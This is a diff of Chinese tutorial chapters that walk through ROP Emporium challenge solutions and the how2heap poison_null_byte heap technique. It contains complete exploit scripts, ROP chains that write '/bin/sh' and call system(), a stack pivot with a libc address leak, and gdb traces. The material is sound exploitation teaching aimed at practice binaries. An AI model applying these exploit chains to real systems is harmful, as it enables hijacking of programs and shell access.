io.writeline(payload)
|
||||
io.read()
|
||||
```
|
||||
|
||||
注意 "BBBB" 是新的返回地址,如果函数 ret,就会执行 "BBBB" 处的指令,通常这里会放置一些 `pop;pop;ret` 之类的指令地址,以平衡堆栈。从 system() 函数中也能看出来,它现将 esp 减去 0xc,再取地址 esp+0x10 处的指令,也就是 "BBBB" 的后一个,即字符串的地址。因为 `system()` 是 libc 中的函数,所以这种方法称作 ret2libc。
|
||||
|
||||
#### split
|
||||
```
|
||||
### split
|
||||
|
||||
```text
|
||||
$ rabin2 -z split
|
||||
...
|
||||
vaddr=0x00601060 paddr=0x00001060 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt
|
||||
```
|
||||
|
||||
字符串地址在 `0x00601060`。
|
||||
|
||||
```
|
||||
```text
|
||||
gdb-peda$ disassemble usefulFunction
|
||||
Dump of assembler code for function usefulFunction:
|
||||
0x0000000000400807 <+0>: push rbp
|
||||
@ -414,24 +444,28 @@ Dump of assembler code for function usefulFunction:
|
||||
0x0000000000400817 <+16>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
64 位程序的第一个参数通过 edi 传递,所以我们需要再调用一个 gadgets 来将字符串的地址存进 edi。
|
||||
|
||||
我们先找到需要的 gadgets:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ ropsearch "pop rdi; ret"
|
||||
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
|
||||
0x00400883 : (b'5fc3') pop rdi; ret
|
||||
```
|
||||
|
||||
下面是 payload:
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split
|
||||
...
|
||||
> ROPE{a_placeholder_32byte_flag!}
|
||||
```
|
||||
|
||||
那我们是否还可以用前面那种方法调用 `system()` 的 plt 地址 `0x4005e0` 呢:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble system
|
||||
Dump of assembler code for function system:
|
||||
0x00007ffff7a63010 <+0>: test rdi,rdi
|
||||
@ -448,7 +482,9 @@ Dump of assembler code for function system:
|
||||
0x00007ffff7a6303c <+44>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
依然可以,因为参数的传递没有用到栈,我们只需把地址直接更改就可以了:
|
||||
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
@ -462,9 +498,11 @@ io.writeline(payload)
|
||||
io.read()
|
||||
```
|
||||
|
||||
#### callme32
|
||||
### callme32
|
||||
|
||||
这里我们要接触真正的 plt 了,根据题目提示,callme32 从共享库 libcallme32.so 中导入三个特殊的函数:
|
||||
```
|
||||
|
||||
```text
|
||||
$ rabin2 -i callme32 | grep callme
|
||||
ordinal=004 plt=0x080485b0 bind=GLOBAL type=FUNC name=callme_three
|
||||
ordinal=005 plt=0x080485c0 bind=GLOBAL type=FUNC name=callme_one
|
||||
@ -474,7 +512,8 @@ ordinal=012 plt=0x08048620 bind=GLOBAL type=FUNC name=callme_two
|
||||
我们要做的是依次调用 `callme_one()`、`callme_two()` 和 `callme_three()`,并且每个函数都要传入参数 `1`、`2`、`3`。通过调试我们能够知道函数逻辑,`callme_one` 用于读入加密后的 flag,然后依次调用 `callme_two` 和 `callme_three` 进行解密。
|
||||
|
||||
由于函数参数是放在栈上的,为了平衡堆栈,我们需要一个 `pop;pop;pop;ret` 的 gadgets:
|
||||
```
|
||||
|
||||
```text
|
||||
$ objdump -d callme32 | grep -A 3 pop
|
||||
...
|
||||
80488a8: 5b pop %ebx
|
||||
@ -485,8 +524,10 @@ $ objdump -d callme32 | grep -A 3 pop
|
||||
80488ad: 8d 76 00 lea 0x0(%esi),%esi
|
||||
...
|
||||
```
|
||||
|
||||
或者是 `add esp, 8; pop; ret`,反正只要能平衡,都可以:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ ropsearch "add esp, 8"
|
||||
Searching for ROP gadget: 'add esp, 8' in: binary ranges
|
||||
0x08048576 : (b'83c4085bc3') add esp,0x8; pop ebx; ret
|
||||
@ -494,6 +535,7 @@ Searching for ROP gadget: 'add esp, 8' in: binary ranges
|
||||
```
|
||||
|
||||
构造 payload 如下:
|
||||
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
@ -516,22 +558,25 @@ io.writeline(payload)
|
||||
io.read()
|
||||
```
|
||||
|
||||
#### callme
|
||||
### callme
|
||||
|
||||
64 位程序不需要平衡堆栈了,只要将参数按顺序依次放进寄存器中就可以了。
|
||||
|
||||
```
|
||||
```text
|
||||
$ rabin2 -i callme | grep callme
|
||||
ordinal=004 plt=0x00401810 bind=GLOBAL type=FUNC name=callme_three
|
||||
ordinal=008 plt=0x00401850 bind=GLOBAL type=FUNC name=callme_one
|
||||
ordinal=011 plt=0x00401870 bind=GLOBAL type=FUNC name=callme_two
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ ropsearch "pop rdi; pop rsi"
|
||||
Searching for ROP gadget: 'pop rdi; pop rsi' in: binary ranges
|
||||
0x00401ab0 : (b'5f5e5ac3') pop rdi; pop rsi; pop rdx; ret
|
||||
```
|
||||
|
||||
payload 如下:
|
||||
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
@ -554,21 +599,25 @@ io.writeline(payload)
|
||||
io.read()
|
||||
```
|
||||
|
||||
#### write432
|
||||
### write432
|
||||
|
||||
这一次,我们已经不能在程序中找到可以执行的语句了,但我们可以利用 gadgets 将 `/bin/sh` 写入到目标进程的虚拟内存空间中,如 `.data` 段中,再调用 system() 执行它,从而拿到 shell。要认识到一个重要的点是,ROP 只是一种任意代码执行的形式,只要我们有创意,就可以利用它来执行诸如内存读写等操作。
|
||||
|
||||
这种方法虽然好用,但还是要考虑我们写入地址的读写和执行权限,以及它能提供的空间是多少,我们写入的内容是否会影响到程序执行等问题。如我们接下来想把字符串写入 `.data` 段,我们看一下它的权限和大小等信息:
|
||||
```
|
||||
|
||||
```text
|
||||
$ readelf -S write432
|
||||
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
|
||||
...
|
||||
[16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4
|
||||
[25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4
|
||||
```
|
||||
|
||||
可以看到 `.data` 具有 `WA`,即写入(write)和分配(alloc)的权利,而 `.rodata` 就不能写入。
|
||||
|
||||
使用工具 ropgadget 可以很方便地找到我们需要的 gadgets:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ropgadget --binary write432 --only "mov|pop|ret"
|
||||
...
|
||||
0x08048670 : mov dword ptr [edi], ebp ; ret
|
||||
@ -576,6 +625,7 @@ $ ropgadget --binary write432 --only "mov|pop|ret"
|
||||
```
|
||||
|
||||
另外需要注意的是,我们这里是 32 位程序,每次只能写入 4 个字节,所以要分成两次写入,还得注意字符对齐,有没有截断字符(`\x00`,`\x0a`等)之类的问题,比如这里 `/bin/sh` 只有七个字节,我们可以使用 `/bin/sh\00` 或者 `/bin//sh`,构造 payload 如下:
|
||||
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
@ -603,7 +653,8 @@ io = zio('./write432')
|
||||
io.writeline(payload)
|
||||
io.interact()
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ python2 run.py
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(/binp,/shp0BBBB(<28>
|
||||
write4 by ROP Emporium
|
||||
@ -614,15 +665,18 @@ Go ahead and give me the string already!
|
||||
ROPE{a_placeholder_32byte_flag!}
|
||||
```
|
||||
|
||||
#### write4
|
||||
### write4
|
||||
|
||||
64 位程序就可以一次性写入了。
|
||||
```
|
||||
|
||||
```text
|
||||
$ ropgadget --binary write4 --only "mov|pop|ret"
|
||||
...
|
||||
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
|
||||
0x0000000000400890 : pop r14 ; pop r15 ; ret
|
||||
0x0000000000400893 : pop rdi ; ret
|
||||
```
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -647,9 +701,11 @@ io.sendline(payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
#### badchars32
|
||||
### badchars32
|
||||
|
||||
在这个挑战中,我们依然要将 `/bin/sh` 写入到进程内存中,但这一次程序在读取输入时会对敏感字符进行检查,查看函数 `checkBadchars()`:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble checkBadchars
|
||||
Dump of assembler code for function checkBadchars:
|
||||
0x08048801 <+0>: push ebp
|
||||
@ -696,10 +752,12 @@ Dump of assembler code for function checkBadchars:
|
||||
0x08048886 <+133>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
很明显,地址 `0x08048807` 到 `0x08048823` 的字符就是所谓的敏感字符。处理敏感字符在利用开发中是经常要用到的,不仅仅是要对参数进行编码,有时甚至地址也要如此。这里我们使用简单的异或操作来对字符串编码和解码。
|
||||
|
||||
找到 gadgets:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ropgadget --binary badchars32 --only "mov|pop|ret|xor"
|
||||
...
|
||||
0x08048893 : mov dword ptr [edi], esi ; ret
|
||||
@ -709,6 +767,7 @@ $ ropgadget --binary badchars32 --only "mov|pop|ret|xor"
|
||||
```
|
||||
|
||||
整个利用过程就是写入前编码,使用前解码,下面是 payload:
|
||||
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
@ -763,9 +822,11 @@ io.writeline(payload)
|
||||
io.interact()
|
||||
```
|
||||
|
||||
#### badchars
|
||||
### badchars
|
||||
|
||||
64 位程序也是一样的,注意参数传递就好了。
|
||||
```
|
||||
|
||||
```text
|
||||
$ ropgadget --binary badchars --only "mov|pop|ret|xor"
|
||||
...
|
||||
0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
|
||||
@ -774,6 +835,7 @@ $ ropgadget --binary badchars --only "mov|pop|ret|xor"
|
||||
0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
|
||||
0x0000000000400b39 : pop rdi ; ret
|
||||
```
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -822,9 +884,11 @@ io.sendline(payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
#### fluff32
|
||||
### fluff32
|
||||
|
||||
这个练习与上面没有太大区别,难点在于我们能找到的 gadgets 不是那么直接,有一个技巧是因为我们的目的是写入字符串,那么必然需要 `mov [reg], reg` 这样的 gadgets,我们就从这里出发,倒推所需的 gadgets。
|
||||
```
|
||||
|
||||
```text
|
||||
$ ropgadget --binary fluff32 --only "mov|pop|ret|xor|xchg"
|
||||
...
|
||||
0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
|
||||
@ -833,7 +897,9 @@ $ ropgadget --binary fluff32 --only "mov|pop|ret|xor|xchg"
|
||||
0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
|
||||
0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
|
||||
```
|
||||
|
||||
我们看到一个这样的 `mov dword ptr [ecx], edx ;`,可以想到我们将地址放进 `ecx`,将数据放进 `edx`,从而将数据写入到地址中。payload 如下:
|
||||
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
@ -886,9 +952,11 @@ io.writeline(payload)
|
||||
io.interact()
|
||||
```
|
||||
|
||||
#### fluff
|
||||
### fluff
|
||||
|
||||
提示:在使用 ropgadget 搜索时加上参数 `--depth` 可以得到更大长度的 gadgets。
|
||||
```
|
||||
|
||||
```text
|
||||
$ ropgadget --binary fluff --only "mov|pop|ret|xor|xchg" --depth 20
|
||||
...
|
||||
0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret
|
||||
@ -897,6 +965,7 @@ $ ropgadget --binary fluff --only "mov|pop|ret|xor|xchg" --depth 20
|
||||
0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
|
||||
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
|
||||
```
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -945,7 +1014,8 @@ io.sendline(payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
#### pivot32
|
||||
### pivot32
|
||||
|
||||
这是挑战的最后一题,难度突然增加。首先是动态库,动态库中函数的相对位置是固定的,所以如果我们知道其中一个函数的地址,就可以通过相对位置关系得到其他任意函数的地址。在开启 ASLR 的情况下,动态库加载到内存中的地址是变化的,但并不影响库中函数的相对位置,所以我们要想办法先泄露出某个函数的地址,从而得到目标函数地址。
|
||||
|
||||
通过分析我们知道该程序从动态库 `libpivot32.so` 中导入了函数 `foothold_function()`,但在程序逻辑中并没有调用,而在 `libpivot32.so` 中还有我们需要的函数 `ret2win()`。
|
||||
@ -953,34 +1023,43 @@ io.interactive()
|
||||
现在我们知道了可以泄露的函数 `foothold_function()`,那么怎么泄露呢。前面我们已经简单介绍了延时绑定技术,当我们在调用如 `func@plt()` 的时候,系统才会将真正的 `func()` 函数地址写入到 GOT 表的 `func.got.plt` 中,然后 `func@plt()` 根据 `func.got.plt` 跳转到真正的 `func()` 函数上去。
|
||||
|
||||
最后是该挑战最重要的部分,程序运行我们有两次输入,第一次输入被放在一个由 `malloc()` 函数分配的堆上,当然为了降低难度,程序特地将该地址打印了出来,第二次的输入则被放在一个大小限制为 13 字节的栈上,这个空间不足以让我们执行很多东西,所以需要运用 stack pivot,即通过覆盖调用者的 ebp,将栈帧转移到另一个地方,同时控制 eip,即可改变程序的执行流,通常的 payload(这里称为副payload) 结构如下:
|
||||
```
|
||||
|
||||
```text
|
||||
buffer padding | fake ebp | leave;ret addr |
|
||||
```
|
||||
|
||||
这样函数的返回地址就被覆盖为 leave;ret 指令的地址,这样程序在执行完其原本的 leave;ret 后,又执行了一次 leave;ret。
|
||||
|
||||
另外 fake ebp 指向我们另一段 payload(这里称为主payload) 的 ebp,即 主payload 地址减 4 的地方,当然你也可以在构造 主payload 时在前面加 4 个字节的 padding 作为 ebp:
|
||||
```
|
||||
|
||||
```text
|
||||
ebp | payload
|
||||
```
|
||||
|
||||
我们知道一个函数的入口点通常是:
|
||||
```
|
||||
|
||||
```text
|
||||
push ebp
|
||||
mov ebp,esp
|
||||
```
|
||||
|
||||
leave 指令相当于:
|
||||
```
|
||||
|
||||
```text
|
||||
mov esp,ebp
|
||||
pop ebp
|
||||
```
|
||||
|
||||
ret 指令为相当于:
|
||||
```
|
||||
|
||||
```text
|
||||
pop eip
|
||||
```
|
||||
|
||||
如果遇到一种情况,我们可以控制的栈溢出的字节数比较小,不能完成全部的工作,同时程序开启了 PIE 或者系统开启了 ASLR,但同时在程序的另一个地方有足够的空间可以写入 payload,并且可执行,那么我们就将栈转移到那个地方去。
|
||||
|
||||
完整的 exp 如下:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -1029,7 +1108,8 @@ print io.recvall()
|
||||
```
|
||||
|
||||
这里我们在 gdb 中验证一下,在 pwnme() 函数的 leave 处下断点:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ b *0x0804889f
|
||||
Breakpoint 1 at 0x804889f
|
||||
gdb-peda$ c
|
||||
@ -1076,10 +1156,12 @@ gdb-peda$ x/10w 0xf755cf0c
|
||||
0xf755cf1c: 0x080488c4 0x08048571 0x000001f7 0x080488c7
|
||||
0xf755cf2c: 0x080486a3 0x0000000a
|
||||
```
|
||||
|
||||
执行第一次 leave;ret 之前,我们看到 EBP 指向 fake ebp,即 `0xf755cf0c`,fake ebp 指向 主payload 的 ebp,而在 fake ebp 后面是 leave;ret 的地址 `0x0804889f`,即返回地址。
|
||||
|
||||
执行第一次 leave:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
|
||||
@ -1114,10 +1196,12 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
Legend: code, data, rodata, value
|
||||
0x080488a0 in pwnme ()
|
||||
```
|
||||
|
||||
EBP 的值 `0xffe7ec68` 被赋值给 ESP,然后从栈中弹出 `0xf755cf0c`,即 fake ebp 并赋值给 EBP,同时 ESP+4=`0xffe7ec6c`,指向第二次的 leave。
|
||||
|
||||
执行第一次 ret:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
|
||||
@ -1153,10 +1237,12 @@ Legend: code, data, rodata, value
|
||||
|
||||
Breakpoint 1, 0x0804889f in pwnme ()
|
||||
```
|
||||
|
||||
EIP=`0x804889f`,同时 ESP+4。
|
||||
|
||||
第二次 leave:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
|
||||
@ -1195,10 +1281,12 @@ gdb-peda$ x/10w 0xf755cf10
|
||||
0xf755cf20: 0x08048571 0x000001f7 0x080488c7 0x080486a3
|
||||
0xf755cf30: 0x0000000a 0x00000000
|
||||
```
|
||||
|
||||
EBP 的值 `0xf755cf0c` 被赋值给 ESP,并将 主payload 的 ebp 赋值给 EBP,同时 ESP+4=`0xf755cf10`,这个值正是我们 主payload 的地址。
|
||||
|
||||
第二次 ret:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0xffe7ec40 ('A' <repeats 40 times>, "\f\317U\367\237\210\004\b\n")
|
||||
@ -1238,10 +1326,12 @@ EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
||||
Legend: code, data, rodata, value
|
||||
0x080485f0 in foothold_function@plt ()
|
||||
```
|
||||
|
||||
成功跳转到 `foothold_function@plt`,接下来系统通过 `_dl_runtime_resolve` 等步骤,将真正的地址写入到 `.got.plt` 中,我们构造 gadget 泄露出该地址地址,然后计算出 `ret2win()` 的地址,调用它,就成功了。
|
||||
|
||||
地址泄露的过程:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
EAX: 0x54 ('T')
|
||||
@ -1376,17 +1466,20 @@ Legend: code, data, rodata, value
|
||||
0x080488c6 in usefulGadgets ()
|
||||
```
|
||||
|
||||
#### pivot
|
||||
### pivot
|
||||
|
||||
基本同上,但你可以尝试把修改 rsp 的部分也用 gadgets 来实现,这样做的好处是我们不需要伪造一个堆栈,即不用管 ebp 的地址。如:
|
||||
|
||||
```python
|
||||
payload_2 = "A" * 40
|
||||
payload_2 += p64(pop_rax)
|
||||
payload_2 += p64(leakaddr)
|
||||
payload_2 += p64(xchg_rax_rsp)
|
||||
```
|
||||
|
||||
实际上,我本人正是使用这种方法,因为我在构建 payload 时,`0x0000000000400ae0 <+165>: leave`,leave;ret 的地址存在截断字符 `0a`,这样就不能通过正常的方式写入缓冲区,当然这也是可以解决的,比如先将 `0a` 换成非截断字符,之后再使用寄存器将 `0a` 写入该地址,这也是通常解决缓冲区中截断字符的方法,但是这样做难度太大,不推荐,感兴趣的读者可以尝试一下。
|
||||
|
||||
```
|
||||
```text
|
||||
$ ropgadget --binary pivot --only "mov|pop|call|add|xchg|ret"
|
||||
0x0000000000400b09 : add rax, rbp ; ret
|
||||
0x000000000040098e : call rax
|
||||
@ -1395,6 +1488,7 @@ $ ropgadget --binary pivot --only "mov|pop|call|add|xchg|ret"
|
||||
0x0000000000400900 : pop rbp ; ret
|
||||
0x0000000000400b02 : xchg rax, rsp ; ret
|
||||
```
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -1447,8 +1541,8 @@ print io.recvall()
|
||||
|
||||
这样基本的 ROP 也就介绍完了,更高级的用法会在后面的章节中再介绍,所谓的高级,也就是 gadgets 构造更加巧妙,运用操作系统的知识更加底层而已。
|
||||
|
||||
|
||||
## 更多资料
|
||||
|
||||
- [ROP Emporium](https://ropemporium.com)
|
||||
- [一步一步学 ROP 系列](https://github.com/zhengmin1989/ROP_STEP_BY_STEP)
|
||||
- [64-bit Linux Return-Oriented Programming](http://crypto.stanford.edu/~blynn/rop/)
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -6,11 +6,12 @@
|
||||
- [overlapping_chunks](#overlapping_chunks)
|
||||
- [overlapping_chunks_2](#overlapping_chunks_2)
|
||||
|
||||
|
||||
[下载文件](../src/Others/3.1.6_heap_exploit)
|
||||
|
||||
## how2heap
|
||||
#### poison_null_byte
|
||||
|
||||
### poison_null_byte
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -81,7 +82,8 @@ int main() {
|
||||
fprintf(stderr, "New b2 content:%s\n", b2);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -g poison_null_byte.c
|
||||
$ ./a.out
|
||||
We allocate 0x10 bytes for 'a': 0xabb010
|
||||
@ -106,12 +108,14 @@ Finally, we allocate 'd', overlapping 'b2': 0xabb030
|
||||
b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
```
|
||||
|
||||
该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。通过溢出下一个 chunk 的 size 字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。
|
||||
|
||||
对于单字节溢出的利用有下面几种:
|
||||
|
||||
- 扩展被释放块:当溢出块的下一块为被释放块且处于 unsorted bin 中,则通过溢出一个字节来将其大小扩大,下次取得次块时就意味着其后的块将被覆盖而造成进一步的溢出
|
||||
|
||||
```
|
||||
```text
|
||||
0x100 0x100 0x80
|
||||
|-------|-------|-------|
|
||||
| A | B | C | 初始状态
|
||||
@ -127,7 +131,7 @@ New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
|
||||
- 扩展已分配块:当溢出块的下一块为使用中的块,则需要合理控制溢出的字节,使其被释放时的合并操作能够顺利进行,例如直接加上下一块的大小使其完全被覆盖。下一次分配对应大小时,即可取得已经被扩大的块,并造成进一步溢出
|
||||
|
||||
```
|
||||
```text
|
||||
0x100 0x100 0x80
|
||||
|-------|-------|-------|
|
||||
| A | B | C | 初始状态
|
||||
@ -143,7 +147,7 @@ New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
|
||||
- 收缩被释放块:此情况针对溢出的字节只能为 0 的时候,也就是本节所说的 poison-null-byte,此时将下一个被释放的块大小缩小,如此一来在之后分裂此块时将无法正确更新后一块的 prev_size 字段,导致释放时出现重叠的堆块
|
||||
|
||||
```
|
||||
```text
|
||||
0x100 0x210 0x80
|
||||
|-------|---------------|-------|
|
||||
| A | B | C | 初始状态
|
||||
@ -167,7 +171,7 @@ New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
|
||||
- house of einherjar:也是溢出字节只能为 0 的情况,当它是更新溢出块下一块的 prev_size 字段,使其在被释放时能够找到之前一个合法的被释放块并与其合并,造成堆块重叠
|
||||
|
||||
```
|
||||
```text
|
||||
0x100 0x100 0x101
|
||||
|-------|-------|-------|
|
||||
| A | B | C | 初始状态
|
||||
@ -186,6 +190,7 @@ New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
首先分配三个 chunk,第一个 chunk 类型无所谓,但后两个不能是 fast chunk,因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节,chunk c 的作用是帮助伪造 fake chunk。
|
||||
|
||||
首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 `malloc_usable_size` 如下:
|
||||
|
||||
```c
|
||||
/*
|
||||
------------------------- malloc_usable_size -------------------------
|
||||
@ -207,6 +212,7 @@ musable (void *mem)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
/* check for mmap()'ed chunk */
|
||||
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
|
||||
@ -216,10 +222,12 @@ musable (void *mem)
|
||||
/* Get size, ignoring use bits */
|
||||
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
|
||||
```
|
||||
|
||||
所以 `real_a_size = chunksize(a) - 0x8 == 0x18`。另外需要注意的是程序是通过 next chunk 的 `PREV_INUSE` 标志来判断某 chunk 是否被使用的。
|
||||
|
||||
为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即 `0x100 == (0x111 & 0xff00)`,正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉,chunk b 随后被放到 unsorted bin 中,大小是 0x110。此时的堆布局如下:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/42gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x0000000000000000 0x0000000000000000
|
||||
@ -249,7 +257,8 @@ gef➤ heap bins unsorted
|
||||
```
|
||||
|
||||
最关键的一步,通过溢出漏洞覆写 chunk b 的数据:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/42gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x0000000000000000 0x0000000000000000
|
||||
@ -277,14 +286,17 @@ gef➤ heap bins unsorted
|
||||
[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
|
||||
→ Chunk(addr=0x603030, size=0x100, flags=)
|
||||
```
|
||||
|
||||
这时,根据我们上一篇文字中讲到的计算方法:
|
||||
|
||||
- `chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100`
|
||||
- `prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100`
|
||||
|
||||
可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。
|
||||
|
||||
接下来随意分配两个 chunk,malloc 会从 unsorted bin 中划出合适大小的内存返回给用户:
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/42gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x0000000000000000 0x0000000000000000
|
||||
@ -312,10 +324,12 @@ gef➤ heap bins unsorted
|
||||
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
|
||||
→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev\_size,而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。
|
||||
|
||||
接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切。
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/42gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x0000000000000000 0x0000000000000000
|
||||
@ -343,7 +357,9 @@ gef➤ heap bins unsorted
|
||||
[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
|
||||
→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk:
|
||||
|
||||
```c
|
||||
/* consolidate backward */
|
||||
if (!prev_inuse(p)) {
|
||||
@ -376,7 +392,8 @@ chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后
|
||||
```
|
||||
|
||||
接下来,申请一块大空间,大到可以把 chunk b2 包含进来,这样 chunk b2 就完全被我们控制了。
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/42gx a-0x10
|
||||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x603010: 0x0000000000000000 0x0000000000000000
|
||||
@ -404,12 +421,14 @@ gef➤ heap bins small
|
||||
[+] small_bins[1]: fw=0x603100, bk=0x603100
|
||||
→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
还有个事情值得注意,在分配 chunk d 时,由于在 unsorted bin 中没有找到适合的 chunk,malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了,这里就是 small bins。
|
||||
|
||||
